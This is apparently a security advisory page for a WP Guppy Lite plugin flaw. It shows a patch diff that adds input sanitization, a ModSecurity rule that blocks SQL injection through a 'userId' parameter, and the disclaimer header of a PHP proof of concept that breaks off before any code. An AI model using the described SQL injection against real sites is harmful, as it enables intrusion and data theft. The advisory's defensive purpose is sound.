+			wp_send_json( $json );
 		}
 		/**
 		 * Update whatsapp support user information
@@ -358,77 +363,78 @@
 		 * @subpackage wp-guppy/admin
 		 */
 		function wpguppy_update_whatsapp_info() {
-			$json					= array();
-			$user_id				= !empty($_POST['user_id']) ? $_POST['user_id'] : '';
-			$status					= !empty($_POST['status']) 	? ($_POST['status']) : '';
-
-			if( !current_user_can('manage_options') || empty($user_id) ){
-				$json['type']		= 'error';
-				$json['message']	= esc_html__('You are not allowed to perform this action!','wpguppy-lite');
-				wp_send_json($json);
-			}
-
-			if( !isset($_POST['security']) || empty(wp_verify_nonce( $_POST['security'], 'ajax_nonce' )) ){
-				$json['type']       = 'error';
-				$json['message']    = esc_html__('Invalid request, please try again later.','wpguppy-lite');
-				wp_send_json($json);
-			}
-
-			if($status == 1){
-				$user_designation			= !empty($_POST['user_designation']) 		? wp_strip_all_tags($_POST['user_designation']) : '';
-				$user_contact				= !empty($_POST['user_contact']) 			? sanitize_text_field($_POST['user_contact']) : '';
-				$user_default_message		= !empty($_POST['user_default_message']) 	? wp_strip_all_tags($_POST['user_default_message']) : '';
-				$user_offline_message		= !empty($_POST['user_offline_message'])    ? wp_strip_all_tags($_POST['user_offline_message']) : '';
-				$available_days				= !empty($_POST['available_days']) 			? $_POST['available_days'] : array();
-				$user_timezone				= !empty($_POST['user_timezone']) 			? $_POST['user_timezone'] : '';
-				$start_time					= !empty($_POST['start_time']) 				? $_POST['start_time'] : array();
-				$end_time					= !empty($_POST['end_time']) 				? $_POST['end_time'] : array();
-				$time_slots 				= array();
-				if(empty($user_designation)
-					|| empty($user_contact)
-					|| empty($user_default_message)
-					|| empty($user_offline_message)
-					|| empty($available_days)
-					|| empty($user_timezone)){
-					$json['type'] = 'error';
-					$json['message']        = sprintf( __( 'Oops! it looks like you missed something', 'wpguppy-lite' ));
-					wp_send_json($json);
+			$json    = array();
+			$user_id = ! empty( $_POST['user_id'] ) ? sanitize_text_field( wp_unslash( $_POST['user_id'] ) ) : '';
+			$status  = ! empty( $_POST['status'] ) ? sanitize_text_field( wp_unslash( $_POST['status'] ) ) : '';
+
+			if ( ! current_user_can( 'manage_options' ) || empty( $user_id ) ) {
+				$json['type']    = 'error';
+				$json['message'] = esc_html__( 'You are not allowed to perform this action!', 'wpguppy-lite' );
+				wp_send_json( $json );
+			}
+
+			if ( ! isset( $_POST['security'] ) || empty( wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['security'] ) ), 'ajax_nonce' ) ) ) {
+				$json['type']    = 'error';
+				$json['message'] = esc_html__( 'Invalid request, please try again later.', 'wpguppy-lite' );
+				wp_send_json( $json );
+			}
+
+			if ( $status == 1 ) {
+				$user_designation     = ! empty( $_POST['user_designation'] ) ? wp_strip_all_tags( wp_unslash( $_POST['user_designation'] ) ) : '';
+				$user_contact         = ! empty( $_POST['user_contact'] ) ? sanitize_text_field( wp_unslash( $_POST['user_contact'] ) ) : '';
+				$user_default_message = ! empty( $_POST['user_default_message'] ) ? wp_strip_all_tags( wp_unslash( $_POST['user_default_message'] ) ) : '';
+				$user_offline_message = ! empty( $_POST['user_offline_message'] ) ? wp_strip_all_tags( wp_unslash( $_POST['user_offline_message'] ) ) : '';
+				$available_days       = ! empty( $_POST['available_days'] ) ? array_map( 'sanitize_text_field', wp_unslash( (array) $_POST['available_days'] ) ) : array();
+				$user_timezone        = ! empty( $_POST['user_timezone'] ) ? sanitize_text_field( wp_unslash( $_POST['user_timezone'] ) ) : '';
+				$start_time           = ! empty( $_POST['start_time'] ) ? array_map( 'sanitize_text_field', wp_unslash( (array) $_POST['start_time'] ) ) : array();
+				$end_time             = ! empty( $_POST['end_time'] ) ? array_map( 'sanitize_text_field', wp_unslash( (array) $_POST['end_time'] ) ) : array();
+				$time_slots           = array();
+				if ( empty( $user_designation )
+					|| empty( $user_contact )
+					|| empty( $user_default_message )
+					|| empty( $user_offline_message )
+					|| empty( $available_days )
+					|| empty( $user_timezone ) ) {
+					$json['type']    = 'error';
+					$json['message'] = sprintf( __( 'Oops! it looks like you missed something', 'wpguppy-lite' ) );
+					wp_send_json( $json );
 				}
-				if(!empty($available_days)){
-					foreach($available_days as $day){
-						if(!empty($start_time[$day]) && !empty($end_time[$day])){
-							$start_time_slot = date('Y-m-d '.$start_time[$day].':00');
-							$end_time_slot = date('Y-m-d '.$end_time[$day].':00');
-							if(strtotime($start_time_slot) >= strtotime($end_time_slot)){
-                                $json['type'] = 'error';
-                                $json['message']        = sprintf( __( 'Oops! there is an issue with your <strong>%s</strong> available time slot', 'wpguppy-lite' ), ucfirst($day));
-                               wp_send_json($json);
-                            }
-							$time_slots[$day] = array(
-								'start_time'	=> $start_time[$day].':00',
-								'end_time'		=> $end_time[$day].':00',
+				if ( ! empty( $available_days ) ) {
+					foreach ( $available_days as $day ) {
+						if ( ! empty( $start_time[ $day ] ) && ! empty( $end_time[ $day ] ) ) {
+							$start_time_slot = gmdate( 'Y-m-d ' . $start_time[ $day ] . ':00' );
+							$end_time_slot   = gmdate( 'Y-m-d ' . $end_time[ $day ] . ':00' );
+							if ( strtotime( $start_time_slot ) >= strtotime( $end_time_slot ) ) {
+								$json['type'] = 'error';
+								/* translators: %s: day of the week, e.g. Monday. */
+								$json['message'] = sprintf( __( 'Oops! there is an issue with your <strong>%s</strong> available time slot', 'wpguppy-lite' ), ucfirst( $day ) );
+								wp_send_json( $json );
+							}
+							$time_slots[ $day ] = array(
+								'start_time' => $start_time[ $day ] . ':00',
+								'end_time'   => $end_time[ $day ] . ':00',
 							);
 						}
 					}
 				}
 				$data = array(
-					'user_designation' 			=> $user_designation,
-					'user_contact' 				=> $user_contact,
-					'user_default_message' 		=> $user_default_message,
-					'user_offline_message' 		=> $user_offline_message,
-					'user_availability' 		=> $time_slots,
-					'user_timezone' 			=> $user_timezone,
+					'user_designation'     => $user_designation,
+					'user_contact'         => $user_contact,
+					'user_default_message' => $user_default_message,
+					'user_offline_message' => $user_offline_message,
+					'user_availability'    => $time_slots,
+					'user_timezone'        => $user_timezone,
 				);
-
-				update_user_meta($user_id, 'guppy_whatsapp_info', $data);
+
+				update_user_meta( $user_id, 'guppy_whatsapp_info', $data );
 			}
-			update_user_meta($user_id, 'is_guppy_whatsapp_user', $status);
-
-			$json['type']		= 'success';
-			$json['message']	= esc_html__("Wohoo! you have added user's swhatsapp details successfully",'wpguppy-lite');
-			wp_send_json($json);
+			update_user_meta( $user_id, 'is_guppy_whatsapp_user', $status );
+
+			$json['type']    = 'success';
+			$json['message'] = esc_html__( "Wohoo! you have added user's swhatsapp details successfully", 'wpguppy-lite' );
+			wp_send_json( $json );
 		}
 	}
-
+
 	WPGuppy_Lite_Plugin_Options::instance();
 }
 No newline at end of file
--- a/wpguppy-lite/admin/settings/templates/general-options.php
+++ b/wpguppy-lite/admin/settings/templates/general-options.php
@@ -1,8 +1,11 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 /**
  * General settings
  *
- *
  * @link       https://wp-guppy.com/
  * @since      1.0.0
  *
@@ -12,55 +15,55 @@

 global  $wpguppy_settings;
 $user_rolse = array();
-if( function_exists( 'wpguppy_user_roles' ) ) {
+if ( function_exists( 'wpguppy_user_roles' ) ) {
 	$user_rolse = wpguppy_user_roles();
 }
-$auto_invite        = !empty($wpguppy_settings['auto_invite']) ? $wpguppy_settings['auto_invite'] : array();
+$auto_invite = ! empty( $wpguppy_settings['auto_invite'] ) ? $wpguppy_settings['auto_invite'] : array();
 ?>

-<h3><?php esc_html_e('General settings','wpguppy-lite');?></h3>
+<h3><?php esc_html_e( 'General settings', 'wpguppy-lite' ); ?></h3>
 <div class="guppy-shortcode-bar">
-    <label for="gp-shorcode"><span><?php esc_html_e('Shortcode','wpguppy-lite');?></span></label>
-    <input type="text" id="gp-shortcode-coppy" aria-describedby="gp-shorcode-description" value="<?php echo esc_attr('[getGuppyConversation]');?>" class="regular-text code">
-    <button type="button" class="gp-copy-code button">
-        <span aria-hidden="true" data-code="<?php echo esc_attr('[getGuppyConversation]');?>"><?php esc_html_e('Copy code','wpguppy-lite');?></span>
-    </button>
-    <p class="description" id="gp-shorcode-description"><?php esc_html_e('Add shortcode to use anywhere in the PHP files. Like below code','wpguppy-lite');?></p><br>
-    <code><?php echo do_shortcode('[getGuppyConversation]');?></code>
+	<label for="gp-shorcode"><span><?php esc_html_e( 'Shortcode', 'wpguppy-lite' ); ?></span></label>
+	<input type="text" id="gp-shortcode-coppy" aria-describedby="gp-shorcode-description" value="<?php echo esc_attr( '[getGuppyConversation]' ); ?>" class="regular-text code">
+	<button type="button" class="gp-copy-code button">
+		<span aria-hidden="true" data-code="<?php echo esc_attr( '[getGuppyConversation]' ); ?>"><?php esc_html_e( 'Copy code', 'wpguppy-lite' ); ?></span>
+	</button>
+	<p class="description" id="gp-shorcode-description"><?php esc_html_e( 'Add shortcode to use anywhere in the PHP files. Like below code', 'wpguppy-lite' ); ?></p><br>
+	<code><?php echo do_shortcode('[getGuppyConversation]');?></code>
 </div>
-<h3 class="title"><?php esc_html_e('Role management','wpguppy-lite');?></h3>
+<h3 class="title"><?php esc_html_e( 'Role management', 'wpguppy-lite' ); ?></h3>
 <div class="at-chatroles">
-    <?php
-    if( !empty($user_rolse) ){
-        foreach($user_rolse as $key => $user_rols ) {
-            $invite_checked  = '';
-            if(!empty($auto_invite) &&  in_array($key,$auto_invite)){
-                $invite_checked = 'checked';
-            }
-            ?>
-            <div class="at-chatroles_item">
-                <div class="at-chatrole">
-                    <div class="at-chatrole_title">
-                        <h6><?php echo esc_html($user_rols);?></h6>
-                    </div>
-                    <div class="at-chatrole_head">
-                        <div class="at-roleoption">
-                            <div class="at-roleoption_info">
-                                <i class="dashicons dashicons-buddicons-pm"></i>
-                                <span><?php esc_html_e('You can enable auto invite for this role. This role will be able to start chat with any user from the contact list','wpguppy-lite');?></span>
-                            </div>
-                            <div class="at-roleoption_radio at-switchbtn">
-                                <label>
-                                    <span><?php esc_html_e('ON','wpguppy-lite');?></span>
-                                    <input type="checkbox" <?php echo esc_attr($invite_checked);?> type="checkbox" name="wpguppy_settings[auto_invite][]" value="<?php echo esc_attr($key);?>" >
-                                    <i></i>
-                                </label>
-                            </div>
-                        </div>
-                    </div>
-
-                </div>
-            </div>
-        <?php } ?>
-    <?php } ?>
+	<?php
+	if ( ! empty( $user_rolse ) ) {
+		foreach ( $user_rolse as $key => $user_rols ) {
+			$invite_checked = '';
+			if ( ! empty( $auto_invite ) && in_array( $key, $auto_invite ) ) {
+				$invite_checked = 'checked';
+			}
+			?>
+			<div class="at-chatroles_item">
+				<div class="at-chatrole">
+					<div class="at-chatrole_title">
+						<h6><?php echo esc_html( $user_rols ); ?></h6>
+					</div>
+					<div class="at-chatrole_head">
+						<div class="at-roleoption">
+							<div class="at-roleoption_info">
+								<i class="dashicons dashicons-buddicons-pm"></i>
+								<span><?php esc_html_e( 'You can enable auto invite for this role. This role will be able to start chat with any user from the contact list', 'wpguppy-lite' ); ?></span>
+							</div>
+							<div class="at-roleoption_radio at-switchbtn">
+								<label>
+									<span><?php esc_html_e( 'ON', 'wpguppy-lite' ); ?></span>
+									<input type="checkbox" <?php echo esc_attr( $invite_checked ); ?> type="checkbox" name="wpguppy_settings[auto_invite][]" value="<?php echo esc_attr( $key ); ?>" >
+									<i></i>
+								</label>
+							</div>
+						</div>
+					</div>
+
+				</div>
+			</div>
+		<?php } ?>
+	<?php } ?>
 </div>
--- a/wpguppy-lite/admin/settings/templates/media-options.php
+++ b/wpguppy-lite/admin/settings/templates/media-options.php
@@ -1,8 +1,11 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 /**
  * Media settings
  *
- *
  * @link       https://wp-guppy.com/
  * @since      1.0.0
  *
@@ -10,19 +13,19 @@
  * @subpackage wp-guppy/admin/templates
  */
 global  $wpguppy_settings;
-$default_bell_url       = esc_url(WP_GUPPY_LITE_DIRECTORY_URI.'public/media/notification-bell.wav');
-$notification_bell_url  = !empty($wpguppy_settings['notification_bell_url']) ? $wpguppy_settings['notification_bell_url'] : $default_bell_url;
+$default_bell_url      = esc_url( WP_GUPPY_LITE_DIRECTORY_URI . 'public/media/notification-bell.wav' );
+$notification_bell_url = ! empty( $wpguppy_settings['notification_bell_url'] ) ? $wpguppy_settings['notification_bell_url'] : $default_bell_url;

- ?>
-<h3><?php esc_html_e('Media settings','wpguppy-lite');?></h3>
+?>
+<h3><?php esc_html_e( 'Media settings', 'wpguppy-lite' ); ?></h3>
 <table class="form-table" role="media">
-    <tbody>
-        <tr>
-            <th scope="row"><label for="group"><?php esc_html_e('Notification bell url','wpguppy-lite');?></label></th>
-            <td>
-                <input name="wpguppy_settings[notification_bell_url]" placeholder="<?php esc_attr_e('Add bell URL','wpguppy-lite');?>" type="text"  value="<?php echo esc_url($notification_bell_url);?>"/>
-                <p class="description"><?php esc_html_e('You can upload mp3 or wav file into WordPress media and copy that URL and add here for the ring tune.','wpguppy-lite');?>
-            </td>
-        </tr>
-    </tbody>
+	<tbody>
+		<tr>
+			<th scope="row"><label for="group"><?php esc_html_e( 'Notification bell url', 'wpguppy-lite' ); ?></label></th>
+			<td>
+				<input name="wpguppy_settings[notification_bell_url]" placeholder="<?php esc_attr_e( 'Add bell URL', 'wpguppy-lite' ); ?>" type="text"  value="<?php echo esc_url( $notification_bell_url ); ?>"/>
+				<p class="description"><?php esc_html_e( 'You can upload mp3 or wav file into WordPress media and copy that URL and add here for the ring tune.', 'wpguppy-lite' ); ?>
+			</td>
+		</tr>
+	</tbody>
 </table>
 No newline at end of file
--- a/wpguppy-lite/admin/settings/templates/pusher-options.php
+++ b/wpguppy-lite/admin/settings/templates/pusher-options.php
@@ -1,8 +1,11 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 /**
  * Pusher settings
  *
- *
  * @link       https://wp-guppy.com/
  * @since      1.0.0
  *
@@ -10,56 +13,71 @@
  * @subpackage wp-guppy/admin/templates
  */
 global  $wpguppy_settings;
-$pusher = !empty($wpguppy_settings['pusher']) ? $wpguppy_settings['pusher'] : 'disable';
-$option = !empty($wpguppy_settings['option']) ? $wpguppy_settings['option'] : array();
-$class  = !empty($pusher) && $pusher == 'enable' ? '' : 'hide-if-js';
+$pusher = ! empty( $wpguppy_settings['pusher'] ) ? $wpguppy_settings['pusher'] : 'disable';
+$option = ! empty( $wpguppy_settings['option'] ) ? $wpguppy_settings['option'] : array();
+$class  = ! empty( $pusher ) && $pusher == 'enable' ? '' : 'hide-if-js';

-$app_id         = !empty($option['app_id']) ? $option['app_id'] : '';
-$app_key        = !empty($option['app_key']) ? $option['app_key'] : '';
-$app_secret     = !empty($option['app_secret']) ? $option['app_secret'] : '';
-$app_cluster    = !empty($option['app_cluster']) ? $option['app_cluster'] : '';
+$app_id      = ! empty( $option['app_id'] ) ? $option['app_id'] : '';
+$app_key     = ! empty( $option['app_key'] ) ? $option['app_key'] : '';
+$app_secret  = ! empty( $option['app_secret'] ) ? $option['app_secret'] : '';
+$app_cluster = ! empty( $option['app_cluster'] ) ? $option['app_cluster'] : '';
 ?>
-<h3><?php esc_html_e('Real-time chat settings','wpguppy-lite');?></h3>
+<h3><?php esc_html_e( 'Real-time chat settings', 'wpguppy-lite' ); ?></h3>
 <table class="form-table"  role="chat">
-    <tbody>
-        <tr>
-            <th scope="row"><label for="group"><?php esc_html_e('Pusher settings','wpguppy-lite');?></label></th>
-            <td>
-                <fieldset>
-                    <label><input class="gp-pusher-settings" type="radio" name="wpguppy_settings[pusher]" value="enable" <?php if( !empty($pusher) && $pusher == 'enable') {?>checked="checked"<?php } ?>>
-                    <code><?php esc_html_e('Enable','wpguppy-lite');?></code></label>
-                    <label><input class="gp-pusher-settings" type="radio" name="wpguppy_settings[pusher]" value="disable" <?php if( !empty($pusher) && $pusher == 'disable') {?>checked="checked"<?php } ?>>
-                    <code><?php esc_html_e('Disable','wpguppy-lite');?></code></label>
-                </fieldset>
-            </td>
-        </tr>
-        <tr class="gp-pusher-options <?php echo esc_attr($class);?>">
-            <th scope="row"><label for="gp-app-id"><span></span></label></th>
-            <td><p class="description"><?php echo wp_kses( __( 'We have used <a href="https://pusher.com/channels">Pusher Channel API</a> for the real-time chat experience, you must create channel API keys and add into the below settings. You may <a href="https://www.youtube.com/watch?v=70JOw13QKk8&list=PLuU227tzkYJEix0c4hOmUuo0wYf_4LWc2">check this guide</a>', 'wpguppy-lite' ), array(
-				'a' => array(
-					'href' => array(),
-					'title' => array()
-				),
-				'br' => array(),
-				'em' => array(),
-				'strong' => array(),
-			) );?></p></td>
-        </tr>
-        <tr class="gp-pusher-options <?php echo esc_attr($class);?>">
-            <th scope="row"><label for="gp-app-id"><span><?php esc_html_e('App ID','wpguppy-lite');?></span></label></th>
-            <td><input class="regular-text ltr" placeholder="<?php esc_attr_e('Add APP Id here','wpguppy-lite');?>" name="wpguppy_settings[option][app_id]" type="text" value="<?php echo esc_attr($app_id);?>" /></td>
-        </tr>
-        <tr class="gp-pusher-options <?php echo esc_attr($class);?>">
-            <th scope="row"><label for="gp-app-key"><span><?php esc_html_e('App Key','wpguppy-lite');?></span></label></th>
-            <td><input class="regular-text ltr" placeholder="<?php esc_attr_e('Add APP key here','wpguppy-lite');?>" name="wpguppy_settings[option][app_key]" type="text" value="<?php echo esc_attr($app_key);?>" /></td>
-        </tr>
-        <tr class="gp-pusher-options <?php echo esc_attr($class);?>">
-            <th scope="row"><label for="gp-app-secret"><span><?php esc_html_e('App Secret','wpguppy-lite');?></span></label></th>
-            <td><input class="regular-text ltr" placeholder="<?php esc_attr_e('Add APP secret here','wpguppy-lite');?>" name="wpguppy_settings[option][app_secret]" type="text" value="<?php echo esc_attr($app_secret);?>" /></td>
-        </tr>
-        <tr class="gp-pusher-options <?php echo esc_attr($class);?>">
-            <th scope="row"><label for="gp-app-cluster"><span><?php esc_html_e('App Cluster','wpguppy-lite');?></span></label></th>
-            <td><input class="regular-text ltr" placeholder="<?php esc_attr_e('Add APP cluster here','wpguppy-lite');?>" name="wpguppy_settings[option][app_cluster]" type="text" value="<?php echo esc_attr($app_cluster);?>" /></td>
-        </tr>
-    </tbody>
+	<tbody>
+		<tr>
+			<th scope="row"><label for="group"><?php esc_html_e( 'Pusher settings', 'wpguppy-lite' ); ?></label></th>
+			<td>
+				<fieldset>
+					<label><input class="gp-pusher-settings" type="radio" name="wpguppy_settings[pusher]" value="enable"
+					<?php
+					if ( ! empty( $pusher ) && $pusher == 'enable' ) {
+						?>
+checked="checked"<?php } ?>>
+					<code><?php esc_html_e( 'Enable', 'wpguppy-lite' ); ?></code></label>
+					<label><input class="gp-pusher-settings" type="radio" name="wpguppy_settings[pusher]" value="disable"
+					<?php
+					if ( ! empty( $pusher ) && $pusher == 'disable' ) {
+						?>
+checked="checked"<?php } ?>>
+					<code><?php esc_html_e( 'Disable', 'wpguppy-lite' ); ?></code></label>
+				</fieldset>
+			</td>
+		</tr>
+		<tr class="gp-pusher-options <?php echo esc_attr( $class ); ?>">
+			<th scope="row"><label for="gp-app-id"><span></span></label></th>
+			<td><p class="description">
+			<?php
+			echo wp_kses(
+				__( 'We have used <a href="https://pusher.com/channels">Pusher Channel API</a> for the real-time chat experience, you must create channel API keys and add into the below settings. You may <a href="https://www.youtube.com/watch?v=70JOw13QKk8&list=PLuU227tzkYJEix0c4hOmUuo0wYf_4LWc2">check this guide</a>', 'wpguppy-lite' ),
+				array(
+					'a'      => array(
+						'href'  => array(),
+						'title' => array(),
+					),
+					'br'     => array(),
+					'em'     => array(),
+					'strong' => array(),
+				)
+			);
+			?>
+			</p></td>
+		</tr>
+		<tr class="gp-pusher-options <?php echo esc_attr( $class ); ?>">
+			<th scope="row"><label for="gp-app-id"><span><?php esc_html_e( 'App ID', 'wpguppy-lite' ); ?></span></label></th>
+			<td><input class="regular-text ltr" placeholder="<?php esc_attr_e( 'Add APP Id here', 'wpguppy-lite' ); ?>" name="wpguppy_settings[option][app_id]" type="text" value="<?php echo esc_attr( $app_id ); ?>" /></td>
+		</tr>
+		<tr class="gp-pusher-options <?php echo esc_attr( $class ); ?>">
+			<th scope="row"><label for="gp-app-key"><span><?php esc_html_e( 'App Key', 'wpguppy-lite' ); ?></span></label></th>
+			<td><input class="regular-text ltr" placeholder="<?php esc_attr_e( 'Add APP key here', 'wpguppy-lite' ); ?>" name="wpguppy_settings[option][app_key]" type="text" value="<?php echo esc_attr( $app_key ); ?>" /></td>
+		</tr>
+		<tr class="gp-pusher-options <?php echo esc_attr( $class ); ?>">
+			<th scope="row"><label for="gp-app-secret"><span><?php esc_html_e( 'App Secret', 'wpguppy-lite' ); ?></span></label></th>
+			<td><input class="regular-text ltr" placeholder="<?php esc_attr_e( 'Add APP secret here', 'wpguppy-lite' ); ?>" name="wpguppy_settings[option][app_secret]" type="text" value="<?php echo esc_attr( $app_secret ); ?>" /></td>
+		</tr>
+		<tr class="gp-pusher-options <?php echo esc_attr( $class ); ?>">
+			<th scope="row"><label for="gp-app-cluster"><span><?php esc_html_e( 'App Cluster', 'wpguppy-lite' ); ?></span></label></th>
+			<td><input class="regular-text ltr" placeholder="<?php esc_attr_e( 'Add APP cluster here', 'wpguppy-lite' ); ?>" name="wpguppy_settings[option][app_cluster]" type="text" value="<?php echo esc_attr( $app_cluster ); ?>" /></td>
+		</tr>
+	</tbody>
 </table>
 No newline at end of file
--- a/wpguppy-lite/admin/settings/templates/real-time-chat-options.php
+++ b/wpguppy-lite/admin/settings/templates/real-time-chat-options.php
@@ -1,8 +1,11 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 /**
  * Pusher settings
  *
- *
  * @link       https://wp-guppy.com/
  * @since      1.0.0
  *
@@ -10,98 +13,132 @@
  * @subpackage wp-guppy/admin/templates
  */
 global  $wpguppy_settings;
-$rt_chat_settings   = !empty($wpguppy_settings['rt_chat_settings']) ? $wpguppy_settings['rt_chat_settings'] : '';
-$pusher             = !empty($wpguppy_settings['pusher']) ? $wpguppy_settings['pusher'] : 'disable';
-$socket             = !empty($wpguppy_settings['socket']) ? $wpguppy_settings['socket'] : 'disable';
-$option             = !empty($wpguppy_settings['option']) ? $wpguppy_settings['option'] : array();
-$pusher_class       = !empty($pusher) && $pusher == 'enable' ? '' : 'hide-if-js';
-$socket_class       = !empty($socket) && $socket == 'enable' ? '' : 'hide-if-js';
+$rt_chat_settings = ! empty( $wpguppy_settings['rt_chat_settings'] ) ? $wpguppy_settings['rt_chat_settings'] : '';
+$pusher           = ! empty( $wpguppy_settings['pusher'] ) ? $wpguppy_settings['pusher'] : 'disable';
+$socket           = ! empty( $wpguppy_settings['socket'] ) ? $wpguppy_settings['socket'] : 'disable';
+$option           = ! empty( $wpguppy_settings['option'] ) ? $wpguppy_settings['option'] : array();
+$pusher_class     = ! empty( $pusher ) && $pusher == 'enable' ? '' : 'hide-if-js';
+$socket_class     = ! empty( $socket ) && $socket == 'enable' ? '' : 'hide-if-js';

-$app_id             = !empty($option['app_id'])             ? $option['app_id'] : '';
-$app_key            = !empty($option['app_key'])            ? $option['app_key'] : '';
-$app_secret         = !empty($option['app_secret'])         ? $option['app_secret'] : '';
-$app_cluster        = !empty($option['app_cluster'])        ? $option['app_cluster'] : '';
-$socket_host_url    = !empty($option['socket_host_url'])    ? $option['socket_host_url'] : '';
-$socket_port_id     = !empty($option['socket_port_id'])     ? $option['socket_port_id'] : '81';
+$app_id          = ! empty( $option['app_id'] ) ? $option['app_id'] : '';
+$app_key         = ! empty( $option['app_key'] ) ? $option['app_key'] : '';
+$app_secret      = ! empty( $option['app_secret'] ) ? $option['app_secret'] : '';
+$app_cluster     = ! empty( $option['app_cluster'] ) ? $option['app_cluster'] : '';
+$socket_host_url = ! empty( $option['socket_host_url'] ) ? $option['socket_host_url'] : '';
+$socket_port_id  = ! empty( $option['socket_port_id'] ) ? $option['socket_port_id'] : '81';

 ?>
-<h3><?php esc_html_e('Real-time chat settings','wpguppy-lite');?></h3>
+<h3><?php esc_html_e( 'Real-time chat settings', 'wpguppy-lite' ); ?></h3>
 <table class="form-table"  role="chat">
-    <tbody>
-        <tr>
-            <th scope="row"><label for="group"><?php esc_html_e('Chat options','wpguppy-lite');?></label></th>
-            <td>
-                <fieldset>
-                    <label><input class="rt-chat-settings" type="radio" name="wpguppy_settings[rt_chat_settings]" value="pusher" <?php if( !empty($rt_chat_settings) && $rt_chat_settings == 'pusher') {?>checked="checked"<?php } ?>>
-                    <code><?php esc_html_e('Pusher channel','wpguppy-lite');?></code></label>
-                    <label><input class="rt-chat-settings" type="radio" name="wpguppy_settings[rt_chat_settings]" value="socket" <?php if( !empty($rt_chat_settings) && $rt_chat_settings == 'socket') {?>checked="checked"<?php } ?>>
-                    <code><?php esc_html_e('Socket-io','wpguppy-lite');?></code></label>
-                </fieldset>
-            </td>
-        </tr>
-        <tr class="rt-pusher <?php if( empty($rt_chat_settings) || $rt_chat_settings != 'pusher') { echo esc_attr($pusher_class); } ?>">
-            <th scope="row"><label for="group"><?php esc_html_e('Pusher settings','wpguppy-lite');?></label></th>
-            <td>
-                <fieldset>
-                    <label><input class="gp-pusher-settings"  type="radio" name="wpguppy_settings[pusher]" value="enable" <?php if( !empty($pusher) && $pusher == 'enable') {?>checked="checked"<?php } ?>>
-                    <code><?php  esc_html_e('Enable','wpguppy-lite');?></code></label>
-                    <label><input class="gp-pusher-settings" id="pusher-setting" type="radio" name="wpguppy_settings[pusher]" value="disable" <?php if( !empty($pusher) && $pusher == 'disable') {?>checked="checked"<?php } ?>>
-                    <code><?php esc_html_e('Disable','wpguppy-lite');?></code></label>
-                </fieldset>
-            </td>
-        </tr>
-        <tr class="rt-socket <?php if( empty($rt_chat_settings) || $rt_chat_settings != 'socket') { echo esc_attr($socket_class); } ?>">
-            <th scope="row"><label for="group"><?php esc_html_e('Socket io settings','wpguppy-lite');?></label></th>
-            <td>
-                <fieldset>
-                    <label><input class="gp-socket-settings" type="radio" name="wpguppy_settings[socket]" value="enable" <?php if( !empty($socket) && $socket == 'enable') {?>checked="checked"<?php } ?>>
-                    <code><?php esc_html_e('Enable','wpguppy-lite');?></code></label>
-                    <label><input class="gp-socket-settings" type="radio" name="wpguppy_settings[socket]" value="disable" <?php if( !empty($socket) && $socket == 'disable') {?>checked="checked"<?php } ?>>
-                    <code><?php esc_html_e('Disable','wpguppy-lite');?></code></label>
-                </fieldset>
-            </td>
-        </tr>
-        <tr class="gp-pusher-options <?php echo esc_attr($pusher_class);?>">
-            <td colspan="2"><p><?php echo do_shortcode('We have used <a href="https://pusher.com/channels">Pusher Channel API</a> for the real-time chat experience, you must create channel API keys and add into the below settings and need to enable client events in the pusher app settings.  You may <a href="https://www.youtube.com/watch?v=70JOw13QKk8&list=PLuU227tzkYJEix0c4hOmUuo0wYf_4LWc2">check this guide</a>','wpguppy-lite');?></p></td>
-        </tr>
-        <tr class="gp-pusher-options <?php echo esc_attr($pusher_class);?>">
-            <th scope="row"><label for="gp-app-id"><span><?php esc_html_e('App ID','wpguppy-lite');?></span></label></th>
-            <td><input class="regular-text ltr" name="wpguppy_settings[option][app_id]" type="text" value="<?php echo esc_attr($app_id);?>" /></td>
-        </tr>
-        <tr class="gp-pusher-options <?php echo esc_attr($pusher_class);?>">
-            <th scope="row"><label for="gp-app-key"><span><?php esc_html_e('App Key','wpguppy-lite');?></span></label></th>
-            <td><input class="regular-text ltr" name="wpguppy_settings[option][app_key]" type="text" value="<?php echo esc_attr($app_key);?>" /></td>
-        </tr>
-        <tr class="gp-pusher-options <?php echo esc_attr($pusher_class);?>">
-            <th scope="row"><label for="gp-app-secret"><span><?php esc_html_e('App Secret','wpguppy-lite');?></span></label></th>
-            <td><input class="regular-text ltr" name="wpguppy_settings[option][app_secret]" type="text" value="<?php echo esc_attr($app_secret);?>" /></td>
-        </tr>
-        <tr class="gp-pusher-options <?php echo esc_attr($pusher_class);?>">
-            <th scope="row"><label for="gp-app-cluster"><span><?php esc_html_e('App Cluster','wpguppy-lite');?></span></label></th>
-            <td><input class="regular-text ltr" name="wpguppy_settings[option][app_cluster]" type="text" value="<?php echo esc_attr($app_cluster);?>" /></td>
-        </tr>
-        <tr class="gp-socket-options <?php echo esc_attr($socket_class);?>">
-            <th scope="row"><label for="gp-host-url"><span><?php esc_html_e('Host url','wpguppy-lite');?></span></label></th>
-            <td>
-                <input class="regular-

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-107654
# Block SQL injection attempts via the 'userId' parameter in the WPGuppy REST API endpoint
SecRule REQUEST_URI "@rx ^/wp-json/wpguppy/v[0-9]+/get-users" 
  "id:20261076,phase:2,deny,status:403,chain,msg:'CVE-2026-107654 SQL Injection via userId in WPGuppy',severity:'CRITICAL',tag:'CVE-2026-107654'"
  SecRule ARGS:userId "@detectSQLi" "t:none,t:urlDecodeUni,t:removeNulls"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
